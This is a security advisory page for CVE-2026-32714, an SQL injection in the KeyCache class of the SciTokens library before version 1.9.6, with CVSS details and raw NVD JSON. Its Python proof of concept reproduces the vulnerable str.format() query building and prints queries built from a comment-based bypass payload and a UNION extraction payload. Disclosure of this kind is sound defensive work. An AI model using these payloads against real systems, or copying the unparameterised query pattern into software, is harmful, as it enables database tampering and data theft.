Security Vulnerability Report
中文
CVE-2026-32714 CVSS 9.8 CRITICAL

CVE-2026-32714

Published: 2026-03-31 03:15:56
Last Modified: 2026-04-03 18:01:22

Description

SciTokens is a reference library for generating and using SciTokens. Prior to version 1.9.6, the KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database. This issue has been patched in version 1.9.6.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:scitokens:scitokens_library:*:*:*:*:*:*:*:* - VULNERABLE
SciTokens < 1.9.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import sqlite3 # Simulating the vulnerable KeyCache behavior prior to 1.9.6 def vulnerable_sql_construction(user_issuer, user_key_id): # The vulnerability lies in using str.format() directly with user input # instead of using parameterized queries (? or %s). query_template = "SELECT * FROM keys WHERE issuer = '{issuer}' AND key_id = '{key_id}'" # This is the vulnerable line malicious_query = query_template.format(issuer=user_issuer, key_id=user_key_id) print(f"[VULNERABLE] Generated Query: {malicious_query}") # In the real scenario, conn.execute(malicious_query) would run here return malicious_query # PoC 1: Tautology attack to bypass logic print("--- PoC 1: Authentication Bypass ---") payload_issuer = "admin' --" vulnerable_sql_construction(payload_issuer, "any_key_id") # PoC 2: Data extraction via UNION print("\n--- PoC 2: Data Extraction ---") payload_extract = "admin' UNION SELECT 1, sqlite_version(), 3 -- " vulnerable_sql_construction(payload_extract, "any_key_id")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32714", "sourceIdentifier": "[email protected]", "published": "2026-03-31T03:15:55.970", "lastModified": "2026-04-03T18:01:22.027", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SciTokens is a reference library for generating and using SciTokens. Prior to version 1.9.6, the KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database. This issue has been patched in version 1.9.6."}, {"lang": "es", "value": "SciTokens es una biblioteca de referencia para generar y usar SciTokens. Antes de la versión 1.9.6, la clase KeyCache en scitokens era vulnerable a la inyección SQL porque utilizaba str.format() de Python para construir consultas SQL con datos proporcionados por el usuario (como issuer y key_id). Esto permitía a un atacante ejecutar comandos SQL arbitrarios contra la base de datos SQLite local. Este problema ha sido parcheado en la versión 1.9.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:scitokens:scitokens_library:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.9.6", "matchCriteriaId": "429A2C44-9B3E-4F01-86BC-818177DD8EF0"}]}]}], "references": [{"url": "https://github.com/scitokens/scitokens/commit/3dba108853f2f4a6c0f2325c03779bf083c41cf2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/scitokens/scitokens/releases/tag/v1.9.6", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/scitokens/scitokens/security/advisories/GHSA-rh5m-2482-966c", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/scitokens/scitokens/security/advisories/GHSA-rh5m-2482-966c", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}